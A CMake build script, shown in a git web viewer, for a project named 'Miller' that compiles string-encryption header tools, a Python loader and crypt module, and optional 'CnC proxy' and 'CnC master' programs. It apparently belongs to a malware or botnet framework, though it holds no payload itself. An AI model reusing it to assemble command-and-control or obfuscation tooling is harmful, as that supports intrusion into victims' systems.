aboutsummaryrefslogtreecommitdiff
path: root/cmake/CMakeMillerHostTools.cmake
blob: 8a06cb06b529f7d317902d3e82f4d2fa3467f9b6 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
set(TOOLS_DIR tools)
set(HOST_TOOLS_SRCDIR ${TOOLS_DIR}/host)
set(HOST_TOOLS_BUILDDIR ${CMAKE_CURRENT_BINARY_DIR}/host-tools)
set(HOST_TOOLS_MK ${HOST_TOOLS_BUILDDIR}/Makefile)
set(HOST_TOOLS_MKSTAMP ${STAMP_DIR}/.host-tools-build)
set(HOST_TOOLS_SRCGOAPPS ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR}/go)
set(HOST_TOOLS_CNCPROXY ${HOST_TOOLS_SRCGOAPPS}/cncproxy)
set(HOST_TOOLS_CNCMASTER ${HOST_TOOLS_SRCGOAPPS}/cncmaster)

set(CMAKE_ASM_NASM_OBJECT_FORMAT "win32")
set(CMAKE_ASM_NASM_COMPILER_ARG1 "-I${MILLER_SRCDIR}")
set(ASM_DIALECT "-NASM")
set(CMAKE_ASM${ASM_DIALECT}_SOURCE_FILE_EXTENSIONS nasm;asm)
enable_language(ASM_NASM)

set(CRYPT_FILEDIR ${MILLER_HDRDIR})
set(CRYPT_AESFILE ${CRYPT_FILEDIR}/aes_strings.h)
set(CRYPT_AESOUT ${MILLER_HDRDIR_CREATED}/aes_strings_gen.h)
set(CRYPT_AESOUT_STAMP ${STAMP_DIR}/.aes-strings-header-build)
set(CRYPT_XORFILE ${CRYPT_FILEDIR}/xor_strings.h)
set(CRYPT_XOROUT ${MILLER_HDRDIR_CREATED}/xor_strings_gen.h)
set(CRYPT_XOROUT_STAMP ${STAMP_DIR}/.xor-strings-header-build)

set(CRYPT_NAME hdr_crypt-host)
set(CRYPT_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CRYPT_NAME})

set(PYLOAD_NAME pyloader)
set(PYLOAD_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYLOAD_NAME})

set(PYCRYPT_NAME pycrypt)
set(PYCRYPT_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYCRYPT_NAME})

set(STRINGS_NAME strings-host)
set(STRINGS_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${STRINGS_NAME})

set(CNCPROXY_NAME cncproxy-host)
set(CNCPROXY_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCPROXY_NAME})

set(CNCMASTER_NAME cncmaster-host)
set(CNCMASTER_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCMASTER_NAME})


# BUILD HOST TOOLS (hdr_crypt, file_crypt)
add_custom_command(OUTPUT ${HOST_TOOLS_MK} ${HOST_TOOLS_MKSTAMP}
  COMMAND ${CMAKE_COMMAND} -E make_directory ${HOST_TOOLS_BUILDDIR}
  COMMAND ${CMAKE_COMMAND} -E chdir ${HOST_TOOLS_BUILDDIR} ${CMAKE_COMMAND} -DMILLER_SRCDIR=${MILLER_SRCDIR} -DMILLER_HDRDIR=${MILLER_HDRDIR} -DMILLER_HDRDIR_CREATED=${MILLER_HDRDIR_CREATED} -DMILLER_TOOLSDIR=${MILLER_SRCDIR}/${TOOLS_DIR} -DPYTHON_INCDIR=${PYTHON_INCDIR} -DLOADER_ENDMARKER=${LOADER_ENDMARKER} -DINSTALL_DEST=${CMAKE_RUNTIME_OUTPUT_DIRECTORY} ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR}
  COMMAND ${CMAKE_COMMAND} -E remove ${CRYPT_EXEC} ${PYLOAD_SO} ${PYCRYPT_SO} ${STRINGS_EXEC}
  COMMAND ${CMAKE_COMMAND} -E touch ${HOST_TOOLS_MKSTAMP}
)
add_custom_command(OUTPUT ${CRYPT_EXEC} /force-run
  COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${CRYPT_NAME}-install
)
add_custom_command(OUTPUT ${PYLOAD_SO} /force-run
  COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYLOAD_NAME}-install
)
add_custom_command(OUTPUT ${PYCRYPT_SO} /force-run
  COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYCRYPT_NAME}-install
)
add_custom_command(OUTPUT ${PYHTTP_SO} /force-run
  COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYHTTP_NAME}-install
)
add_custom_command(OUTPUT ${STRINGS_EXEC} /force-run
  COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${STRINGS_NAME}-install
)

add_custom_target(host-tools
  ALL
  DEPENDS ${HOST_TOOLS_MKSTAMP}
)
add_custom_target(hdrcrypt
  ALL
  DEPENDS ${HOST_TOOLS_MKSTAMP} ${CRYPT_EXEC}
)
add_custom_target(pyloader
  ALL
  DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYLOAD_SO}
)
add_custom_target(pycrypt
  ALL
  DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYCRYPT_SO}
)
add_custom_target(strings
  ALL
  DEPENDS ${HOST_TOOLS_MKSTAMP} ${STRINGS_EXEC}
)

if (BUILD_CNCPROXY)
add_custom_target(
  cncproxy
  COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC proxy"
  COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCPROXY_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR}
  WORKING_DIRECTORY ${HOST_TOOLS_CNCPROXY}
)
else()
add_custom_target(
  cncproxy
  COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC proxy: disabled"
)
endif()

if (BUILD_CNCMASTER)
add_custom_target(
  cncmaster
  COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC master"
  COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCMASTER_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR}
  WORKING_DIRECTORY ${HOST_TOOLS_CNCMASTER}
)
else()
add_custom_target(
  cncmaster
  COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC master: disabled"
)
endif()

add_dependencies(strings pycrypt cryptout_xor)
add_dependencies(pycrypt pyloader)
add_dependencies(pyloader hdrcrypt)
add_dependencies(hdrcrypt cncmaster)
add_dependencies(cncmaster cncproxy host-tools)